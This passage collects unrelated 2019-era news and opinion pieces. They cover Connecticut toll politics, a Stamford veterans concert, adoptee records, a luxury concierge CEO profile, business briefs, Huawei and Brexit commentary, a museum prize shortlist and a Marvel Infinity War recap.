rail lines. We dont have to wait to begin construction. We dont have to wait to see what the (toll) numbers are, Fasano said. We have an alternative that is more responsible and immediately funds transportation in this state, Klarides added. The Department of Transportations capital program currently pairs about $750 million per year in state borrowing with $750 million in matching federal grants about $500 million less than DOT officials want. Republicans would reassign another $600 million in annual borrowing currently dedicated to non-transportation programs. Between now and 2024 the year Lamont projects toll revenues would become available the GOP plan would invest a whopping $2.4 billion more in transportation than the Democratic governors plan, Fasano said. That will give this state what they havent had for a long time, Klarides said, an end to a transportation system thats woefully under-funded year after year. But the Lamont administration fired back Friday, saying the GOP plan is no transportation panacea. Melissa McCaw, Lamonts budget chief, said the Special Transportation Fund which pays off the principal and interest on state borrowing is headed for insolvency by 2025, absent more revenue, even under the Republicans proposal. And using borrowing usually reserved for school construction and economic development to instead fix highways and bridges would exacerbate another huge problem, she said. Surging pension and other debt costs already consume nearly 30 percent of the budgets General Fund, compared with 10 percent two decades ago. This is siphoning resources away from education, health care, social services and municipal aid. Prioritize Progress issuing bonds for transportation projects that are paid off with General Fund resources only would intensify this budget squeeze, McCaw said. The Lamont administration has said it is open to compromise with the GOP, and would consider increasing resources for transportation work between now and 2024 provided toll revenues could take over from that point. The finance committee is expected to vote next week on a tolls bill that includes some new elements from the administration, including a plan to smooth the transition until toll receipts arrive. The Democrats plan focuses on a reliable, sustainable revenue source, 40 percent of which will be paid for by out-of-state drivers, and offers discounts to in-state drivers, as well as ways to mitigate the impact on low-income individuals and families, said Colleen Flanagan Johnson, Lamonts senior advisor. Weve heard of the Bridge to Nowhere, but Prioritize Borrowing, in reality, represents the Highway to Hell. But Klarides said Lamont and his fellow Democrats who back tolls fail to see the big picture, and their proposals bear that out. Besides tolls, the administration also backs a gradual increase in the minimum wage from $10.10 per hour to $15 per hour. Critics argue either could drive up business costs, and inflate prices of basic goods such as groceries and clothing. What happens if both are approved at the same time? We happen to be in a very dire fiscal time, Klarides said. When are we in this legislature going to give taxpayers a break? When are we going to give businesses a break? STAMFORD Stamford native Lisa May Melfi was watching her brothers band, Impulse, play a show in Norwalk late last year, when she had an idea. I should do an event like this and make it an event for veterans, she thought. Inspired by people like her father, Eddie Melfi, a former Stamford police officer who served in the U.S. Marines, she began organizing a concert that she hopes will raise money for the soon-to-be-completed Veterans Park project and local veterans themselves. Rock Out for the Red, White and Blue, to be held May 19 at the Palace Theatre, will feature three local bands Freeride, Jump the Gunn and Impulse and hopefully plenty of audience members, Melfi said. Its the first time shes organized an event of this magnitude, but Melfi has her sights set high. Randy Thomas, director of production and facilities for the theater, told her a turnout of 300 people would be great for a first-time event, but Melfi hopes to draw at least 500 attendees. Self-described as nonstop, the 46-year-old Melfi has worked tirelessly to make the concert a reality, putting up fliers around the city and spreading the word of the event. People who know me know I am passionate about this, and its going to happen, she said. Melfi first went to her friend Angela Malizia, who runs a volunteer service organization called Backyard Humanitarian, and told her the idea. Malizia was on board and the two of them then met with Pat Parry, a Gold Star mother who serves on the ad-hoc Veterans Park Committee. I thought it was fantastic, Parry said. Anything we can do to honor and remember our veterans is a wonderful thing. Parry said shell be in attendance and is expecting an exciting afternoon at the theater. I think Lisa has done an outstanding job, she said. Melfis main job has been raising money a daunting task, particularly in the early planning stages. Nonetheless, in response to early publicity for the event, she said the fundraising effort recently went from zero dollars to $12,000, thanks to sponsors signing on. Melfi also signed up Tony Clark, a magician originally from Stamford, to be the master of ceremonies. Depending on how much she can raise, Melfi said shed love to buy a bench for $2,500 at Veterans Park from the proceeds. But shed also like to spend the money directly on veterans in the community. For example, shes currently getting a price estimate for a ramp for a veteran with amyotrophic lateral sclerosis who is moving back to Stamford after living elsewhere. Those are the things I want to do on a personal level, Melfi said. Her 80-year-old father will not be able to attend the concert since he lives in Arizona, Mrlfi said, but she plans on using the FaceTime app to allow him to virtually be there. Just thinking about it makes Melfi emotional. In fact, almost any talk of the concert does. I just want this to be my accomplishment, she said. I want to do something for Stamford and our community. Those interested in donating, placing an ad, or donating a gift can call 203-536-7885. Tickets are $19 and are on sale at palacestamford.org. ignacio.laguarda@stamfordadvocate.com We are all a story. We all have a beginning, a middle and an end. And we all deserve to know our own story. Our earliest chapters, of course, are not based on memory, but on oral history and pieces of paper. Its easy for most of us to take our birth certificates for granted. Ones life story becomes a mystery, though, in the absence of an original birth certificate. Once upon a time, every American who was adopted had unrestricted access to their own records. That changed in 1935 for various reasons. Some birth parents wanted to shield their identities. Some adoptive families sought protections as well. Related laws splintered by state. Once lawmakers started steering the narratives, the plots became even more byzantine. In some cases, individuals could chase their identities through the courts by filing petitions. Lawmakers in Hartford have been trying to rectify matters for adoptees. Five years ago, Gov. Dannel P. Malloy signed into law a bill allowing adoptees born after Oct. 1, 1983, to be able to access their original records. A similar measure landed on the governors desk a few years earlier, but was vetoed by M. Jodi Rell, Malloys predecessor. Some lawmakers of a decade ago expressed concern that more transparency could lead to more abortions. Legislators are now trying to offer a remedy for those born before Oct. 1, 1983. It was on that date that Connecticut adoption forms added a clause permitting the disclosure of birth parents identities. Earlier this week, the Judiciary Committee sent the bill back to the Senate by a vote of 26-10. Its failed to gain traction in the past. Though the bill doesnt grab a lot of headlines, it remains a divisive issue. State Rep. Doug Dubitsky, R-Chaplin, said, This is the one bill that I have received more emotional testimony on both sides than almost any other. There are multiple perspectives. Catholic Charities testified against the bill in an effort to shield promises of confidentiality made in closed adoptions. But times have changed since 1935, and since 1983. Databases allow individuals to trace their family history across generations. Tracking genealogy isnt just a matter of curiosity; it allows individuals to find out more about medical histories. In other words, the most intimate details of the lives of some people are in the hands of legislators. They are denied their bloodline, medical histories, even their original birth name. Some promises have to be broken. This can all change with passage of the bill, though original birth certificates would still come at a price ($65 per copy to be specific). We encourage lawmakers to permit logic to triumph over emotions on this issue. Some other states are fumbling, crafting flawed legislation that can only add to the torment of adoptees. Connecticut is close to getting it right. Only one person should hold the right to a birth certificate. It is the first chapter of their story. I f you want your business to cater for a new generation of 20-to-30 somethings, how better to do it than hire a millennial as your chief executive? Thats what the founders of Quintessentially, the luxury lifestyle planner, decided to do in the form of Annastasia Seebohm. At just 33, Seebohm has been promoted from the role of US chief to take on the global business. Since starting nearly 20 years ago to get double-barrelled Londoners into the most exclusive restaurants and shows, Quintessentially has morphed dramatically. Now, its 65 offices around the world help cash-rich, time-poor folks arrange everything from dog walkers to dinner parties, air travel to apartment hunting. Got a gap in your diary to take your son away for the weekend? Let Quintessentially organise a survival weekend on a desert island. Relocating to New York with a young family? Quintessentially will fix you an apartment and a tutor to get your kids into the best schools. Tagging a holiday on the end of your conference in Tokyo? Let Quintessentially fly out your family and book hotels and itineraries for their stay. Most of its clients either run or own companies. And, as business leaders have got younger in this tech-driven age, so Quintessentially needs to cater for their more youthful demands. Curled on a sofa in the companys townhouse HQ in Portman Place, Seebohm looks every inch the wealthy young Quintessentially client. Elegantly attired and with feline good looks, shes polished, well-spoken, if a touch nervous. Its her first profile interview, and, for one whose trade is organising peoples lives, shes charmingly unprepared. She seems fuzzy on some of the financial numbers and her eyes widen with shock as we start with the personal questions. Oh, you dont want to know about me. The business is far more interesting. Im not so sure. Seebohm was born Annastasia Vasia Skilakos, daughter of an English mother and Greek hotelier father (newly single, shes retaining her married name). Her early childhood was in Athens, where she gained a lifelong love of the sea, but money was not plentiful. Certainly not by Quintessentially standards. Her parents divorced when she was 12 and she and her two sisters moved with their mother to Oxford, swapping international school in Greece for a local comp. Amid all that disruption, tragedy struck. Her mum had a brain haemorrhage, leaving her disabled. Seebohm went from carefree child to young carer. Her extended family helped, but being the oldest sibling, much of the arranging and coordination of care fell on her shoulders. You know, its very hard, being a young carer. Because essentially the roles are reversed. The parent suddenly becomes physically disabled but emotionally different too. Responsibility, decision making, it all changes. Seebohm had to grow up, fast. Perhaps thats why Im doing a job of somebody at least 10 years older than me, she says. When you go through things, loss is one, you gain an ability to prioritise whats important. It gives you a degree of stamina and allows you to empathise with people in a different way. The experience informed her management style. I have this thing about being human in business. Perhaps its because Im a young, female CEO, but I think its important to build an environment where people dont think that to be successful, you have to be alpha, or hide your emotions. We all have personal challenges, and Id love to foster an environment to feel thats OK. How does someone from her background understand the luxurious desires of the worlds wealthiest people? She thanks her cultured English grandfather. Not only did he take her to the opera and art galleries, but he was a successful businessman, running a private college which got her through A-levels and into Cardiff university for an international business degree. The qualification was apt; global business was exactly what she did next, joining Quintessentiallys Athens office before moving to London to work with founders Ben Elliot and Aaron Simpson. They moved her to New York, where she still lives, to run the US operation, now its fastest-growing region. Ben and Aaron are my mentors. They have totally formed my career. They could have hired a big gun externally for this role yet theyre empowering their own, she says. So, whats the strategy now shes in charge? Half of luxury consumers in the world will soon be millennials, but at the moment our product isnt focused on them. So a key theme will be making sure weve got a membership offering that does. And what are millennials seeking? Less stuff and more unique experiences. They call out bullshit really quickly. You have to really give them what they want, or theyll walk. Thats OK, though. If youre genuinely offering the right experience the cool little hidden spot in Marrakech to go to then theyre going to want to use you. Seebohm bridles at the words expensive and luxury despite Quintessentially membership ranging from $7500 a year to $40,000. Its not just about finding members whats the most expensive thing but whats the best. It might be recommending the best fish taco for three dollars. A personal favourite? The Big Sur, California. Amazing stars, wonderful hotels, big American coastlines. Young families are also a growth area, so Quintessentially has to find experiences parents and kids will enjoy. She cites a dinner shes hosting at Disneyland, where the kids can enjoy the rides during the day and the parents mingle with other members in the evening. Were doing much more of that in-person thing, she says. People want to meet other people they might have something in common with, so we do hosting getting members together in Hong Kong, Dubai, London, Switzerland. There are corporate customers, too. Kering, LVMH and Richemonts brands hire Quintessentially to help organise trips and treats for high-rolling customers. Banks and luxury car brands use it, too. We know their customers because theyre like our members, she says. With that, shes off to her social whirl. Her five days in town include a board meeting, hosting a preview night at the Dior exhibition at the V&A, and leading a women of influence dinner. She flew in last night yet looks fresh as a daisy. Just the thought makes me yearn for my PJs and an early night. S hares in Ferrexpo nosedived today after the companys auditor Deloitte resigned over the investigation into payments the firm made to a Ukrainian charity. Relations between the two have soured after Deloitte concluded this week that the funds to the charity called Blooming Land could have been misappropriated. The auditor also raised questions over the relationship between Ferrexpos chief executive Kostyantin Zhevago and the charity. It is understood Deloitte has been frustrated by the depth of the investigation as it has not been given access to vital information. One source said that Blooming Land has yet to provide access to original or certified bank statements, while other information requested by the independent review committee has also not been received. Ferrexpo declined to comment. In contrast Ferrexpos board has backed Zhevago, stating he does not have significant influence or control over Blooming Land. Yuen Low, analyst at Shore Capital Markets, said: It never looks good when an auditor resigns unexpectedly and with immediate effect. The IRC cannot yet conclude as to the ultimate use of said funds. Christopher Thomas, the partner at Deloitte heading the investigation, refused to comment, although the full resignation letter will be made public within the next 14 days. C redit Suisse faced embarrassment on Friday as victims of a $150 million (116 million) fraud by a rogue employee took a full-page ad in the FT to demand answers and their money back. The latest campaign against the Swiss investment bank is timed to coincide with its annual meeting today, and is orchestrated by six wealthy Russian victims of ex-Credit Suisse banker Patrice Lescaudron, who was sentenced to five years in prison but released last year. The victims including Georgias richest man and former PM Bidzina Ivanishvili are chasing around $850 million more of their money from the bank. They also accuse Credit Suisses directors of working against our efforts to understand how the crimes were perpetrated and what happened to their assets. The advertisement said: We urge you as their board of directors to start being honest and transparent about what happened. They are also bidding to gain documents on the case from the bank. B utternut Box, a London start-up that makes and delivers home-cooked dog food to peoples doors, has raised 15 million in fresh funding to diversify into snacks, toys and wellness products and expand on the Continent. The cash injection included new investors Five Seasons, a European food tech fund, and existing backers White Star Capital, as well as Eileen Burbidges Passion Capital and Sky Bet executive chairman Richard Flint, who joins the board. The London business, which has raised 21 million to date, was set up in 2016 by friends and former Goldman Sachs bankers Kevin Glynn, 29, above left, and David Nolan, 32, right. The entrepreneurs were spurred on after Nolans dogs, a Staffie and a Shih Tzu who had weepy eyes, were lethargic or scratched constantly shed their little niggles by eating healthy, simple meals, such as mincemeat and rice, made by his family. It now has 59 staff and it has delivered eight million meals to pooches. It expects revenues to grow by 300% this year. Nolan said: "We want to diversify our offering to serve customers across the board." A DVERTISING giant WPP today posted falling sales after suffering blue-chip client losses, while ousted former CEO Sir Martin Sorrell stepped up his wheeller-dealing. The ad giant now describing itself as a creative transformation company saw sales in the first quarter down 8.5% in the first quarter. The loss of accounts from Ford, American Express, HSBC and some big pharma companies were behind the falls, leaving chief executive Mark Read facing a challenging year. Across the whole group sales were down 2.8% at 2.92 billion. The sale of data business Kantar is progressing well, says WPP. It claims it is pleased with the level of interest in the business, though outsiders have questioned if it will be overtaken by newer rivals with stronger technology. The market was sanguine about the figures, as was Read. Shares edged up 10p to 916p. Read said: Weve got work to do. I think clients are very supportive. Debts are down by 712 million to 4.2 billion as Read reverses Sorrells deal-hungry strategy. Thousands of jobs have been cut but Read thinks that staff are bullish and that weve done most of what we needed to do in terms of restructuring. Meanwhile S4 Capital, Sorrells new venture, struck deals to buy Caramel Pictures, which will become part of MediaMonks, a digital content outfit S4 bought last year. It also picked up ProgMedia, a Sao Paulo ad agency that will operate under MightyHive, becoming that firms base in Latin America. Sorrell, left, was ousted after a row over the alleged misuse of company money, including spending on prostitutes. Sorrell denies the claims. Today he said: Client interest in our purely digital, first party data, always-on 24/7 programmatic model is frenetic. T he hysteria around the Governments decision on Huawei and 5G is distracting from a more mature conversation about China that the UK has not yet had. How are we to establish a manageable existence alongside a country that is becoming one of the worlds biggest economic pillars, while at the same time incarcerating Western researchers, holding vast numbers of its own population in arbitrary detention and continuing to stymie open political debate? It is a power we want to engage with, but it threatens some of our closest allies. How we deal with this should be the discussion we are having. There are questions around Huawei. Large Chinese companies are close to the State. Firms contain Communist Party cells, and national legislation obliges them to respond to demands from the Chinese security apparatus. Whether we should allow this sort of company to build parts of our telecoms infrastructure is a question best suited to those who are technically minded and understand the level of risk posed, and how (or if) it can be managed. Yet this narrow question has overwhelmed the debate around China. You are either for Huawei or against it, in much the same way that you either want to confront China or engage with it. But this binary choice is a false one. The world is more complicated than that. China is both an opportunity and a threat. Beijing is rising as a major power that is investing in, and developing, parts of the world we have long worried about. Having lifted millions of its own people out of poverty, it is helping countries the UK has spent billions of pounds on. There are problems with its approaches, many of which are being aired during the current Belt and Road Forum in Beijing. But China is offering an opportunity that developing countries are also keen on. And from a UK perspective, this is a good thing. We also agree with its creation of the Asian Infrastructure Investment Bank and its views on pollution and international peacekeeping. Yet Beijing is also threatening some of our closest allies, arbitrarily jailing Western nationals and ruling its people harshly. Japan and India are Asian giants equally close to the UK that have tense border confrontations with China. But Delhi and Tokyo are trying to balance these issues with the reality that Beijings growth is the major economic story in their back yard. They are often trying to find ways of both engaging and challenging Beijing at the same time. We too must understand how we are going to manage the fact that we want Chinas co-operation and support on important issues but need to be deeply concerned about others. We have to both remonstrate and work with it, in concert with our close allies. China is complex, and our response requires an equal nuance. Having a more sophisticated national conversation would be a good place to start. O n May 23, London will have a chance to send a clear message that this overwhelmingly Remain city the engine of the British economy wants to see Brexit stopped. Every vote for the Liberal Democrats will be a vote to stop Brexit. We hope and expect to do well. The fact that European elections are happening at all is testament to the dismal failure of Brexiteers to have any real plan for how to deliver what they promised. They now seek to blame Remainers for not falling in line, as though we should somehow have ceased to believe what we do because a narrow majority of others disagreed. Yet the real reason Brexit has been delayed and may well be cancelled is that those who advocate it cannot agree on what it should look like. The whole project has run into the sand, as it deserved to. Liberal Democrats have always argued that the public should have the final say on any Brexit deal. When we first said it, much of the political establishment scoffed. In Parliament in those early days it felt much like opposing the Iraq War we were barracked on all sides but we stood steadfast anyway. Today a Peoples Vote is among the betting markets favourite outcomes, as millions have joined in the campaign by signing petitions and marching on the streets of London. What Parliament cannot resolve, plainly the people should determine. The opponents of Remain in these elections are manifold. There is a crowded field of parties supporting Brexit: Labour, the Conservatives, Ukip, the Brexit Party and a smattering of others. There is competition within the Remain camp too. Personally, I regret that it has not been possible to present a united front in these elections with the other Remain parties. The rules governing elections made co-operation difficult though not impossible. But the goodwill that runs through regular private discussions hasnt carried through to a common platform. Vince Cable is leader of the Liberal Democrats / Jeremy Selwyn I have at least agreed this week with Change UK that we should have a pact to train our campaigning guns on a common enemy Brexit and its proponents rather than indulge in friendly fire on each other. But the danger is that a passive agreement not to disagree is inadequate. I had wanted to make progress on something more ambitious, not least to avoid the ludicrous spectacle of a pro-Brexit Labour Party trying to assume the Remain mantle. These elections may yet deliver shock therapy to the centre of British politics. A Financial Times analysis shows that a combined effort on todays numbers would win 16 seats, whereas fighting separately the Lib-Dems would win seven, with the others getting nothing. While my own tribe might be happy to vanquish the other tanks on our lawn, nobody is so tribal that they believe seven to be a larger number than 16. And all sides will appreciate that if a failure to combine in European elections on proportional representation is counter-productive, failure to co-operate in first-past-the-post general elections could be even more damaging. The reality that is not yet understood by newer players on the field is that fighting elections is not just about media coverage and political parties are not just about MPs. I am fortunate to have 10 excellent parliamentary colleagues in the House of Commons but more fortunate still that the Liberal Democrats have nearly 2,000 councillors (we hope more will be elected next week), and 100,000 members. "We have a strong record on climate change, working within the EU to set targets for reducing emissions" That infrastructure, alongside existing relationships with hundreds of thousands of voters, means we can run the most organised pro-Remain campaign, in which we hope to win over substantial chunks of dismayed and disillusioned former Labour and Conservative supporters. A strong crop of Liberal Democrat MEPs will demonstrate not only rapidly changing opinions in the country on Brexit but will also be a strong endorsement of our wider platform. Being in the European Union is not just an end in itself but a prerequisite to the strong economy Britain needs to fund good public services. In particular, I want to see education elevated once again as the primary political issue of our time. That means not only giving children the strongest possible start but also making sure learning can continue through life, preparing people for working lives in which they pursue not just multiple jobs but multiple careers too. Meanwhile, I met climate activist Greta Thunberg in Parliament this week. She challenged all the opposition on what they have done and what they would do. Liberal Democrats have a strong track record on climate change, working within the EU to set ambitious, cross-European targets for reducing emissions; creating thousands of green jobs in supply chains for renewables; tripling production of clean electricity; and setting up the Green Investment Bank. A Liberal Democrat vote is a vote for faster and more radical action to tackle the climate emergency. When the elections have concluded, the centre of British politics must regroup. As the Liberal Democrats launch its campaign for the European Parliament today, our message is crystal clear: we can stop Brexit, and we must. The next common objective is to break the old two-party system. Doing so will require more than general goodwill but specific action. Each group would have battles to fight within their own organisations to make it happen, and these can be both bruising and time-consuming. But the prize for voters and the country would surely be worth the effort. F urther to your article [Spy chief: Well stop Chinese using Huawei to snoop on UK, April 24], its good to see politicians and agencies caring about IT security. At the Free Software Foundation Europe (FSFE) we welcome discussions on demanding that Huawei opens up the source code of its 5G infrastructure. However, the ongoing debate is too focused on espionage allegations against the Chinese company. Instead it is a trust and transparency issue when it comes to critical infrastructure such as 5G. The publics suspicion is justified, not because it is a Chinese firm but because technology is playing an ever more important role in our lives. 5G will become another part of modern communication, innovation and industry. And because earlier leaks show that other popular network equipment providers from the US worked on installing backdoors in their hardware and software. How can we face these threats, not only in 5G but also in other infrastructure such as energy, transportation, storage and processing of sensitive data? We have a few ideas on this but heres one: that it is a crucial precondition that all software code powering those devices is published under a Free and Open Source Software licence. Free and Open Source Software guarantees the four freedoms to use, study, share and improve an application. On this basis, everyone can inspect the code, not only for backdoors access to data but for all security risks. Max Mehl Free Software Foundation Europe EDITOR'S REPLY Dear Max ULTRAFAST 5G will mean no more buffering while streaming 4K video, and even at peak hours you can play bandwidth-sapping Fortnite on your phone without any lag. It will also become the critical arteries running services in our smart city, from street lights to driverless cars ferrying around our future selves. Ive visited the subterranean bunkers running some of our existing 4G network, a great tangle of thick internet cables and pipes, which brought home the vast back-end beneath our shiny smart devices. The fear is what happens when the network crashes or is attacked by hackers, therefore ensuring security and stability is the main challenge. So its a sensible idea for Huaweis 5G source code the original programme text inputted by humans to be publicised to help address fears noted by security chiefs in a report this March. However, Id say good luck with that and expect the usual commercial confidentiality excuse, despite public money being involved, to be trotted out by Whitehall. Mark Blunden, Technology Correspondent How Sri Lanka could heal itself SERENDIB, the Island of Serendipity as the Arabs named it, has become the Island of Terror. The recent Islamist attacks on Christian targets in Sri Lanka threaten to destabilise the region. The hate politics of race that led to the past civil war have been replaced by the hate politics of religion in a future civil war. But maybe, as religion is such an important feature of Sri Lankan life, it could also be the answer. Maybe Sri Lankans should pray. Maybe the 83 per cent who are Buddhists and Hindus should go to their temples, the nine per cent of Muslims to their mosques, and the eight per cent of Christians to their (remaining) churches. But maybe they should all start praying for the same thing: that they stop caring about whether their fellow Sri Lankan prays in a temple, mosque, or church. Maybe then, Sri Lanka has a chance of healing, a chance of growing, and a chance of making this native Sri Lankan proud to be Sri Lankan again. Prasanna Sooriakumaran Keep the US state visit respectful You report on the state visit in early June by the President of the United States [Anti-Trump protesters plan to flood London for his state visit, April 23] and the intentions of so-called activists (trouble-makers, in my book). I dont like Donald Trump as a man, and I dont like many of his policies, but he is the democratically elected president of our principal ally. A state visit is so-called because it is about the state, not the office-holder who represents that state. I want to work with our allies in this dangerous world. Lester May Glass skyscrapers and CO2 emissions Your news item in Global Briefing on April 23 was significant for London: New York Mayor Bill de Blasio wants to ban new glass skyscrapers and retrofit old ones as part of his efforts to reduce city-wide greenhouse emissions by 30 per cent. T he V&A Dundee is among five museums across the UK to be shortlisted for the Art Fund Museum of the Year award. Scotlands first design museum and the UKs first outside London opened to the public in September last year. The V&A in London won the prize in 2016. The other museums on the list are HMS Caroline in Belfast, Nottingham Contemporary, the Pitt Rivers Museum in Oxford and St Fagans National Museum of History. The winning museum will be awarded 100,000 and will be announced at the Science Museum on July 3. The other four institutions will receive 10,000. The annual prize is presented to a museum that, in the eyes of the judges, has shown exceptional imagination, innovation and achievement. The judging panel for the prize is chaired by Art Fund director Stephen Deuchar and includes artist David Batchelor, journalist Brenda Emmanus, director of the Warburg Institute Bill Sherman and chief of charity Glasgow Life Bridget McConnell. Deuchar said: Despite (or perhaps because of) the complex environment of our times, the UKs museums continue to challenge and inspire. The five shortlisted museums have each offered outstanding and different approaches to the vital task of engaging with the widest public in new and adventurous ways. We congratulate all those who are on the shortlist and encourage everyone to go and visit them. A vengers: Endgame may have only been out for a day but fans have been clamouring the find out what's happened to their favourite superheroes. The lucky few to have seen the film are remaining tight lipped about what Marvel fans can expect from the Avengers gang as they battle to save humanity from the supervillain Thanos. Thanos' triumph in Infinity War left many wondering what was going to happen in Endgame as the latest Marvel instalment closes the book on the first 11 years and 22 years of the franchise. Half of the universe disappeared in a click of the evil Thanos' fingers in Infinity War, meaning there are question marks as to who is left to battle the villain. Here, the Standard takes a look at those who lived and those who died in Infinity War. Naturally, this article contains spoilers. Avengers: Endgame trailer Who died in Infinity War? Loki The villain-turned-good-guy finally met his end at the beginning of Infinity War, despite handing Thanos the Soul Stone he craved. Heimdall Poor Heimdall. Loyal to the end, and sadly killed at the hands of Thanos just moments after Loki met his demise. Gamora Reluctantly killed by Thanos in return for the Soul Stone on Vormir. Vision Destroyed by Thanos after the supervillain ripped the mind stone from his head. Who disintegrated in Infinity War? Black Panther/T'Challa Turns to ash just as he was checking on Okoye. Doctor Strange/Stephen Strange Despite being able to see into the future, Doctor Strange didn't see his eventual death coming or did he? Spider-Man/Peter Parker A terrified Peter Parker turns to dust in Iron Man's arms in one of the franchise's most emotional deaths. Winter Soldier/Bucky Barnes Who can forget Steve Roger's anguished cry as his best friend becomes dust in front of him? Scarlet Witch/Wanda Maximoff Died after Thanos used the time stone to reverse her efforts to destroy Vision's mind stone. Falcon/Sam Wilson Another Avenger who becomes ash at the click of Thanos' fingers. Star-Lord/Peter Quill If only the half-Celestial Star-Lord hadn't attacked Thanos earlier in the film, he may not have been obliterated. Groot Perishes during the "snap", despite only being young. Drax The massive Drax is another Guardian who turns into ash. Mantis Despite her psychic powers, Mantis is not able to stop herself from being "dusted". Nick Fury Barely features in Infinity War yet still dies at the hands of Thanos, but not before he's able to call Captain Marvel. Maria Hill Dies at Nick's side during the post-credits scene. The top 10 Marvel post-credit sequences, ranked 1 /13 The top 10 Marvel post-credit sequences, ranked 10. Avengers: Infinity War - Calling Captain Marvel Brie Larsons arrival as Captain Marvel came in perhaps the worst circumstances imaginable, following the aftermath of Thanoss Snap in Avengers: Infinity War. Little surprise the snap is officially known as The Decimation; Thanos destroys half of life across the universe after activating the Infinity Gauntlet, with the likes of TChalla, Groot, Bucky, Doctor Strange, Peter Parker and Maria Hill all disintegrating. Nick Fury also suffers the same fate, but manages to think quickly enough to make one last call to Captain Marvel. If there was a silver lining to be found in the utter devastation, it was knowing the arrival of Larsons superhero was just around the corner. 9. Ant-Man and the Wasp Trapped in the Quantum realm The Ant-Man movies might be some of the more lighthearted, wackier strands of the MCU, but even they couldnt escape the devastating effects of Thanoss Snap after the climax of Infinity War. Fans who didnt stick around for the post credit scene in Ant-Man and the Wasp missed out on the 2018 films biggest moment, when Michael Douglass Dr Hank Pym and Evangeline Lillys Wasp sent Ant-Man into the Quantum Realm. Just as Paul Rudds hero is about to be pulled out, the communications line goes dead and it becomes clear that Dr Hank and the Wasp have been erased as a result of Thanoss snap. Now, Ant-Man is stranded, but alive within the Quantum Realm which fans are speculating could play a big role in the future of the MCU following the destructive events of Infinity War. Only time will tell how this pint-size hero will have an impact on the MCU as a whole, but the scene marked a huge moment in the franchise. 8. Thor: The Dark World - One down, five to go" Meet the Collector Benicio del Toro had the time of his life playing the mysterious character, with a performance as bold as his outrageous platinum blonde hairdo. Viewers were first introduced to him in the credits sequence for Thor: The Dark World, which makes it clear that, like Thanos, he is looking to get his hands on all the infinity stones. The clip sees guardians Sif and Volstagg give the Aether to the Collector, in a bid to keep it away from Asgard. One down, five to go, del Toro says, adding a sinister edge to another memorable and atmospheric post-credit sequence. The scene threw a real spanner in the works for Marvel fans, leaving them with questions unanswered was the Collector looking to the Infinity Stones out of his own greed or vanity? Was he teaming up with Thanos to bring down S.H.I.E.L.D? It proved that Marvel are masters of raising the stakes with post-credit scenes and added new layers of intrigue after the film itself had come to a close. 7. Captain America: Civil War - Bucky on ice Its hard to imaging the MCU without Black Panther these days, given how significant Wakanda has come to be in the future of the MCU. Fans only got their first glimpse of the African nation back in 2016 though, when it appeared in a key post credit sequence in Captain America: Civil War. The clip saw Bucky take the decision to put himself on ice in a Wakanda lab, reasoning I cant trust my own mind. The footage then sees Captain America stood beside Chadwick Bosemans TChalla, as he looks out across the landscape. You know if they find out hes here, theyll come for him, the Captain warns, with TChalla replying: Let them try. The Black Panther statue looming large over the rainforest at the end of the clip was the studio's not-so-subtle way of looking ahead to the hero's forthcoming standalone film, too. It signalled incredible things to come for the MCU and changing the direction of the franchise forever. 6. Iron Man 2 - Hammer blow A giant hammer, in a huge crater, showing the arrival of one of Marvels most badass superheroes the post credits scene at the end of Iron Man 2 ticked all the boxes for fans back in 2010, and helped them forget about an otherwise pretty disappointing outing for Tony Stark and co. The clip is about as straightforward a tease as it gets with Marvel. When a huge crater appears in New Mexico, Agent Coulson appears on the scene and calls Nick Fury. Sir, weve found it, he says, before the camera reveals a close up on Thors hammer Mjolnir. The simple, but effective sequence helped raise anticipation for Chris Hemsworths debut in the role to all new levels, with the actor arriving on the scene two years later in 2011s Thor. 5. Captain America: The Winter Soldier - The twins Captain America: The Winter Soldiers mid credit sequence was a masterclass in introducing new characters to the MCU, with fans given a sneak preview of Maximoff twins Scarlet Witch and Quicksilver. Wolfgang Von Strucker introduced twins Scarlet Witch and Quicksilver to viewers from the depths of a secret research lab in the clip, showing for the first time that the Avengers would be coming up against more than just agents of HYDRA in the future. The compelling first look at the mutants or miracles as theyre referred to pointed ahead to the future of the franchise, familiarising audiences with Aaron Taylor-Johnson and Elizabeth Olsen ahead of time and hinting at their staggering powers. And they managed it all in the space of a two minute clip now thats smart work. 4. Thor The Tesseract If they didnt think Loki was one of the most cunning and conniving screen villains in recent memory before, fans certainly did after seeing the Thor post credits scene. Tom Hiddlestons character plays a sister role in Thor post-credits clip, which is actually one of the most important in the MCU. The sequence sees Fury show Dr Erik Selvig the Tesseract, in a bid to find out more about its power. The viewer quickly learns that Fury was wrong to do so though, as its revealed Loki is influencing him looming in Stellan Skarsgards characters reflection and saying I guess thats worth a look. Loki uses the Tesseract to travel to earth in The Avengers, making this small credits scene a key one for plot development, and a priceless pantomime baddie moment for Hiddlestons Loki. 3. Guardians of the Galaxy Baby Groot The most joyful post credits scenes in the entire MCU can be found in 2014s larger-than-life Guardians of the Galaxy, proving that scenes dont have to mean an awful lot to be incredible fun. Viewers were treated to two fantastic hidden sequences. The first featured fan-favourite Baby Groot dancing to the Jackson 5, avoiding detection from the watchful eye of Dave Bautistas Drax. Its innocent and adorable, and went on to become one of the biggest memes of 2014. 2. The Avengers - Thanos is revealed Thanos is something of a veteran of Marvel post-credit sequences, having cropped up in three since first appearing in The Avengers. The villain also graced screens in Guardians of the Galaxy and Avengers: Age of Ultron, but its the first appearance that remains the most memorable. The clip sees The Other head to see his master, explaining how Loki had failed in his task to secure the Tesseract after the Avengers thwarted his efforts. To challenge them is to court death, The Other says, before Thanos turns and smiles at the camera, revealing himself for the first time. The clip proved that Loki was working in collaboration with a bigger power and needless to say, the first sight of the villain sent comic book fans into fits of giddy excitement. 1. Iron Man - Meet Nick Fury It took just over 30 seconds to flip the entire Marvel cinematic universe on its head back in 2008. The scene at the end of Iron Man marked the first post-credits sequence, and set the bar very high indeed. The clip saw Tony Stark encounter Samuel L Jacksons Nick Fury after coming home late at night. You think you're the only superhero in the world? Mr. Stark, you've become part of a bigger universe. You just don't know it yet, Fury says, before making referencing to the Avengers initiative. In an instant, the franchise was blown wide open and the possibilities were boundless. Everything that followed stemmed from this moment its one of the shortest post-credits sequences, but it's by far the most significant. Who lived in Infinity War? Iron Man/Tony Stark Despite being stabbed by Thanos and appearing to be badly wounded, Tony Stark somehow survives the obliteration. Thor He should have gone for the head! Though Thor manages to stab and severely wound Thanos, he doesn't stop him from destroying half of the universe. How much will Thor come to regret that decision in Endgame? Captain America/Steve Rogers Despite industry rumours to the contrary, of course the de facto leader of the Avengers would survive. Black Widow/Natasha Romanoff A strong performance in Infinity War sees her surviving the cull. Hulk/Bruce Banner 